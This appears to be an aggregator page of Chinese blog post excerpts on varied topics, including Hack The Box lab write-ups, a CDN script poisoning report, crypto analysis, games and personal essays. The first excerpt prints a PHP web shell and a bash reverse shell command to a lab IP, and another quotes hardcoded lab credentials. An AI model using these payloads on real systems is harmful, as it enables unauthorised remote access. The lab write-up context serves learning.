Nineveh 在 Nineveh 這台靶機中，我們利用 Hydra 爆破了 nineveh.htb/db 的登入頁面，在裡面我們可以任意修改資料庫： 資料庫被存在 /var/tmp/，恰好在另外一個網頁 nineveh.htb/department/ 找到了 File Inclusion， 通常會直接用簡單的 <?php system($_GET['cmd']); ?> 配合簡單的 Reverse Shell： bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1' 要
Nineveh 在 Nineveh 靶機中的 nineveh.htb/department 登入是這麼寫的： session_start(); if (isset($_SESSION['username'])) { header('Location: manage.php'); die(); } $USER = 'admin'; $PASS = '1q2w3e4r5t'; if (isset($_POST['username']) && isset($_POST['pa...
2026-09-17，我发现 colobu.com 的页面上被加载了一个可疑 iframe： https://soduncdn.com/m.html 。域名注册于十天前、没有任何 A 记录、被 6/89 个安全引擎标记。查了一圈之后，结论有点出乎意料。 结论 页面本身没被改。被投毒的是页面引用的那个第三方 CDN 脚本。 出问题的是一行看起来再普通不过的写法： 1 < script src = "//cdn.staticfile.org/jquery/1.11.1/jquery.min.js" > </
数据截至 2026 年 9 月 18 日。本文中的“倒闭”是对 Filecoin 经济体、FIL 价值捕获和生态繁荣叙事的判断，不是声称 Filecoin
数据截至 2026 年 9 月 18 日。本文讨论的是 Cosmos Hub、ATOM 及围绕 IBC 形成的加密原生生态，不是否认 Cosmos SDK、CometBFT
又休息了一段时间之后，回来更一篇吧。虽然还没完全适应过来，尤其是精力不足的问题多少还是有点，但日子总得过下去，因此只能想办法继续调整了。这篇博文，算是翻出来点冷饭，掺点新鲜饭，炒一炒。之前已经有...
关注 Caves of Qud（卡德洞窟）很久了，之前一直没下决心玩。最近发现它更新了多语言支持分支，在 steam 创意工坊里有了一个初步的中文 mod ，便试了试，果真很有趣。 我玩传统 Roguelike 很久了。最早是在 GBA 上用干电池玩特鲁尼克大冒险（以及后来风来的西林系列）。在 2008 年的时候就试过 NetHack 还尝试过做汉化 。ps. 现在已经有针对最新 5.0 版 NetHack 的中文版本了，在 AI 翻译的加持下，体验很不错。后来沉迷过很长时间（600+ 小时）的 Rogue's T
这里记录每周值得分享的科技内容，周五发布。（[通知] 下周五开始的中秋和十一假期，周刊休息。）...
能夠在檔案裡面藏東西的酷技術。
如果你有一定的投资经历，假设投资了A虽然收益还可以，可偏偏半道出现了B，涨幅比A大得多，并且你在关注B的时候， […]
记一次维修测试工具的经历 17 Sep, 2026 我的工作是产线的 PE（偏良率），要和各种测试工具打交道。其中一个工具由继电器、整流管、模拟电池板、基准电压板组成。 它上电后，16串模拟电压应该有52V输出，但实际只有1V。我检查了继电器接线两遍都无果，最后想到：整流管有没有可能出问题？用万用表二极管档一测：整流管的一个二极管开路了，而那里正是模拟板提供电压输出的位置。 至此，这次维修终于结束了。 源文（.org） #技术 #随笔 </
苹果新发布了 27.2 beta。尽管 iPhone Duo 模拟器依然缺席，但新增的 `project.xcproj` 令人眼前一亮。它替代的是 `.xcodeproj` 包里的那份构建图 `project.pbxproj`，而不是整个工程包。它有哪些亮点，解决了什么问题，又有哪些事情没有改变，本文将对此进行探讨。
星期天中午，我睡了个午觉。三点起来，嗓子有点发紧，连着打了好几个喷嚏。当时没当回事，还以为是中午空调开太足，吹 […]
观察窗口：2026 年 3 月 21 日至 9 月 17 日，重点追踪最近 90 天。本文审查资本影响价格的证据；现有公开材料尚未证实违法操纵或内幕交易。价格采用各报道注明的历史快照，不拼接为同一交易所的连续日线。 ZEC
第一次认真看狙击交易的耗时，是因为结果和预期差得有些远。 我们在 Solana Devnet 上创建一个新的流动性池，让两个钱包提前进入监听状态。池子出现，机器人发现机会，随后买入。流程跑通了，但页面上的时间是 13
我参加过三次葬礼。 第一次是在 5/6 岁的时候，一个同学的爷爷去世了，我当时和几个孩子一起去看，那时候对一切都很好奇，爬树爬墙头，想要看看是什么样，现在我只能记得当时爬墙的事，其他什么都不记得。 第二次可能是在中学，邻居家老爷子去世了，灵堂敬酒，需要个男孩来端酒，找到了我，我什么都不知道，只记得当时跪在边上挺累的，最后拿到了邻居给的 100 块，不会到我手里的 100 块。 中间应该还有两次，如果我在哈尔滨工作的话，我应该也会回来参加的，等我知道的时候已经过去很久了。 这是第三次，我爷爷的葬礼。我很早的时候想象过
现在是下午两点四十，我坐在电脑前等着 process server 给我回电话 - 至少他们给我回&
真教育引导，假教育约束。 -王福强的个人博客：一个架构士的思考与沉淀 福强私学 福强AI学堂 架构百科 博客文章 创作出版 产品与服务 登录信息 更多链接 真教育引导，假教育约束。 王福强 2026-09-17 所谓的“教育”，有一个可悲的地方，就是会抹杀个人的天性和直觉。 为什么策划组织者都不是学习很好的学霸？ 因为他们做事，更多在用自身直觉和天赋，而不是教化后的机械重复。 学霸或许很骄傲自己的学历和体面的工作 但很难觉察到过往的教育对自身的束缚， 而这种束缚 是从你小时候 体系化地、一点一滴地施加给你的 所以
用 Tamper-monkey 集成 Kagi Translate (2) 結合 Zen 瀏覧器的分屏功能 之前分享了 用 Tamper-monkey 集成 Kagi Translate ，誰能想到還有續集 :P 上次分享後，我又基於我的使用習慣做了一些調整，例如將字典和翻譯用不同窗口呈現，不再複用同一個窗口，這樣在翻譯的同時也能查字典；通過檢測原始頁面關閉，自動關閉臨時窗口，减少一些手動操作。 自動關閉窗口是用 visibilitychange event 實現的，也試過 beforeunload event 和
基礎的 GraphQL challenge.
哇，打了这么久的山河图。第一次遇到这种战法和技能的组合，简直是天下无敌了，连智迟都可以用极奢+摸牌伤害战法化解，哈哈哈哈哈
Zine#58 用合理的排版引导讀者閱讀、值得熬夜的事情都值得早起 目錄 News | Article Cool Bit Tutorial | Resource Code Related AI Related Tool | Library Emacs 一些话 | 摘抄 多媒体 這周又聴了陳嫻静的「如果每天都可以 happy happy 谁想要sad:)) - 一起去度假」 ，在評論區看到有人說「喜歡這張專輯的大概率也會喜歡 Men I Trust 的音樂」，於是就把 Men I Trust 的專輯都找來聴了聴，還沒
冲着沈腾走进影院看电影《欢迎来龙餐馆》的。很多时候看片都是这样，有些电影会因为喜欢的演员或者导演而去看；也有一 […]
没想到这个系列还有第二波，但仔细想一下也没什么没想到的：所在部门是干了几年也毫无起色当然也不盈利的 strategic bet，我所在的短短两年里就见到它 pivot 方向了若干次 layoff 了外缘子部门若干次，颇有前司病急乱投医的风采（这个世界的草台班子又有哪个不是呢）。 说没想到是因为这个公司因为有一套自己的随时开人哲学所以较少 mass layoff，所以一直以为自己这份的工作的终点是会因为厌班消极怠工或者 performance 跟不上而被开掉来着（因为开人也给一样的 severance 所以并没有特别
这半年来一直基于 Vibe Coding 做点产品，除了墨问本身的功能，已经发布 … Continue reading →
#清空草稿箱#

早上左侧腹部一阵阵的剧烈绞疼，我以为忍一下就会好，躺床上大约一个半小时后还是很疼。

在网上预约了医生，说暂不清楚病因需要尽快就医做B超检查，此时我甚至都无法站起来，因为一站起来，它就疼的特别厉害，连带着声音都颤抖...
AI 第一性原理 -王福强的个人博客：一个架构士的思考与沉淀 福强私学 福强AI学堂 架构百科 博客文章 创作出版 产品与服务 登录信息 更多链接 AI 第一性原理 王福强 2026-09-16 IMO 1、AI是什么？ 数据的统计。 2、AI如何认知世界？ 模式匹配（或者说模仿）。 3、AI的价值是什么？ 提高人的信息采集效率和输出效率。 4、怎么使用AI？ 干中学啊！ 大模型这灵丹妙药再牛逼，你也得先找准自己的病症才能用🤣 >>>>>> 更多阅读 <<<<<< 听故事学架构之Henry Howard Holm
最近在做一个GIS助手，给通用智能体外部工具再辅以SKILL来整合垂直领域能力，例如，让它来控制ArcGIS，QGIS（这类GUI软件需要对外提供命令行工具来调用自身），地图API，跑一些分析出图之类的业务。

但是哦，智能体可以开箱即...
自己做了个 AI 记账 App「妙蛙记账」。最近上线了小程序版本。
我表述想更新 Tag Name，过了一会儿它已经把测试、正式环境都更新好了。 过于‘智能’，问题是我从未配置过生产环境的操作流程 …